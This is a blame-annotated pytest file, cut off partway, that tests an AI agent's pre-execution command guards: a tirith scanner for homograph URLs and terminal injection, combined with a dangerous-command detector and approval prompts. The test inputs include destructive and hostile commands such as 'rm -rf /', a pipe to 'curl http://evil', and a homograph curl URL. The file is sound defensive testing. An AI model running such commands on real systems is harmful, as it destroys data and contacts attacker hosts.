feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
"""Tests for check_all_command_guards() — combined tirith + dangerous command guard."""
|
|
|
|
|
|
|
|
|
|
|
|
import os
|
|
|
|
|
|
from unittest.mock import patch, MagicMock
|
|
|
|
|
|
|
|
|
|
|
|
import pytest
|
|
|
|
|
|
|
2026-03-14 00:17:04 -07:00
|
|
|
|
import tools.approval as approval_module
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
from tools.approval import (
|
|
|
|
|
|
approve_session,
|
|
|
|
|
|
check_all_command_guards,
|
2026-06-17 20:48:36 -06:00
|
|
|
|
check_dangerous_command,
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
is_approved,
|
2026-05-28 21:35:19 -07:00
|
|
|
|
set_current_session_key,
|
|
|
|
|
|
reset_current_session_key,
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# Ensure the module is importable so we can patch it
|
2026-05-28 21:35:19 -07:00
|
|
|
|
import tools.tirith_security
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# Helpers
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
def _tirith_result(action="allow", findings=None, summary=""):
|
|
|
|
|
|
return {"action": action, "findings": findings or [], "summary": summary}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# The lazy import inside check_all_command_guards does:
|
|
|
|
|
|
# from tools.tirith_security import check_command_security
|
|
|
|
|
|
# We need to patch the function on the tirith_security module itself.
|
|
|
|
|
|
_TIRITH_PATCH = "tools.tirith_security.check_command_security"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
@pytest.fixture(autouse=True)
|
|
|
|
|
|
def _clean_state():
|
|
|
|
|
|
"""Clear approval state and relevant env vars between tests."""
|
2026-04-10 03:03:30 -07:00
|
|
|
|
approval_module._session_approved.clear()
|
|
|
|
|
|
approval_module._pending.clear()
|
2026-03-14 00:17:04 -07:00
|
|
|
|
approval_module._permanent_approved.clear()
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
saved = {}
|
2026-03-14 00:17:04 -07:00
|
|
|
|
for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
if k in os.environ:
|
|
|
|
|
|
saved[k] = os.environ.pop(k)
|
|
|
|
|
|
yield
|
2026-04-10 03:03:30 -07:00
|
|
|
|
approval_module._session_approved.clear()
|
|
|
|
|
|
approval_module._pending.clear()
|
2026-03-14 00:17:04 -07:00
|
|
|
|
approval_module._permanent_approved.clear()
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
for k, v in saved.items():
|
|
|
|
|
|
os.environ[k] = v
|
2026-03-14 00:17:04 -07:00
|
|
|
|
for k in ("HERMES_INTERACTIVE", "HERMES_GATEWAY_SESSION", "HERMES_EXEC_ASK", "HERMES_YOLO_MODE"):
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
os.environ.pop(k, None)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# Container skip
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestContainerSkip:
|
|
|
|
|
|
def test_docker_skips_both(self):
|
|
|
|
|
|
result = check_all_command_guards("rm -rf /", "docker")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
def test_singularity_skips_both(self):
|
|
|
|
|
|
result = check_all_command_guards("rm -rf /", "singularity")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
def test_modal_skips_both(self):
|
|
|
|
|
|
result = check_all_command_guards("rm -rf /", "modal")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
def test_daytona_skips_both(self):
|
|
|
|
|
|
result = check_all_command_guards("rm -rf /", "daytona")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# tirith allow + safe command
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestTirithAllowSafeCommand:
|
|
|
|
|
|
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
|
|
|
|
|
def test_both_allow(self, mock_tirith):
|
2026-03-14 00:17:04 -07:00
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
result = check_all_command_guards("echo hello", "local")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
|
|
|
|
|
def test_noninteractive_skips_external_scan(self, mock_tirith):
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
result = check_all_command_guards("echo hello", "local")
|
|
|
|
|
|
assert result["approved"] is True
|
2026-03-14 00:17:04 -07:00
|
|
|
|
mock_tirith.assert_not_called()
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# tirith block
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestTirithBlock:
|
2026-03-27 13:22:01 -07:00
|
|
|
|
"""Tirith 'block' is now treated as an approvable warning (not a hard block).
|
|
|
|
|
|
|
|
|
|
|
|
Users are prompted with the tirith findings and can approve if they
|
|
|
|
|
|
understand the risk. The prompt defaults to deny, so if no input is
|
|
|
|
|
|
provided the command is still blocked — but through the approval flow,
|
|
|
|
|
|
not a hard block bypass.
|
|
|
|
|
|
"""
|
|
|
|
|
|
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("block", summary="homograph detected"))
|
2026-03-27 13:22:01 -07:00
|
|
|
|
def test_tirith_block_prompts_user(self, mock_tirith):
|
|
|
|
|
|
"""tirith block goes through approval flow (user gets prompted)."""
|
2026-03-14 00:17:04 -07:00
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
result = check_all_command_guards("curl http://gооgle.com", "local")
|
2026-03-27 13:22:01 -07:00
|
|
|
|
# Default is deny (no input → timeout → deny), so still blocked
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
assert result["approved"] is False
|
2026-03-27 13:22:01 -07:00
|
|
|
|
# But through the approval flow, not a hard block — message says
|
|
|
|
|
|
# "User denied" rather than "Command blocked by security scan"
|
|
|
|
|
|
assert "denied" in result["message"].lower() or "BLOCKED" in result["message"]
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("block", summary="terminal injection"))
|
2026-03-27 13:22:01 -07:00
|
|
|
|
def test_tirith_block_plus_dangerous_prompts_combined(self, mock_tirith):
|
|
|
|
|
|
"""tirith block + dangerous pattern → combined approval prompt."""
|
2026-03-14 00:17:04 -07:00
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
result = check_all_command_guards("rm -rf / | curl http://evil", "local")
|
|
|
|
|
|
assert result["approved"] is False
|
2026-03-27 13:22:01 -07:00
|
|
|
|
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# tirith allow + dangerous command (existing behavior preserved)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestTirithAllowDangerous:
|
|
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
|
|
|
|
|
def test_dangerous_only_cli_deny(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
cb = MagicMock(return_value="deny")
|
|
|
|
|
|
result = check_all_command_guards("rm -rf /tmp", "local", approval_callback=cb)
|
|
|
|
|
|
assert result["approved"] is False
|
|
|
|
|
|
cb.assert_called_once()
|
|
|
|
|
|
# allow_permanent should be True (no tirith warning)
|
|
|
|
|
|
assert cb.call_args[1]["allow_permanent"] is True
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# tirith warn + safe command
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestTirithWarnSafe:
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "shortened_url"}],
|
|
|
|
|
|
"shortened URL detected"))
|
|
|
|
|
|
def test_warn_cli_prompts_user(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
cb = MagicMock(return_value="once")
|
|
|
|
|
|
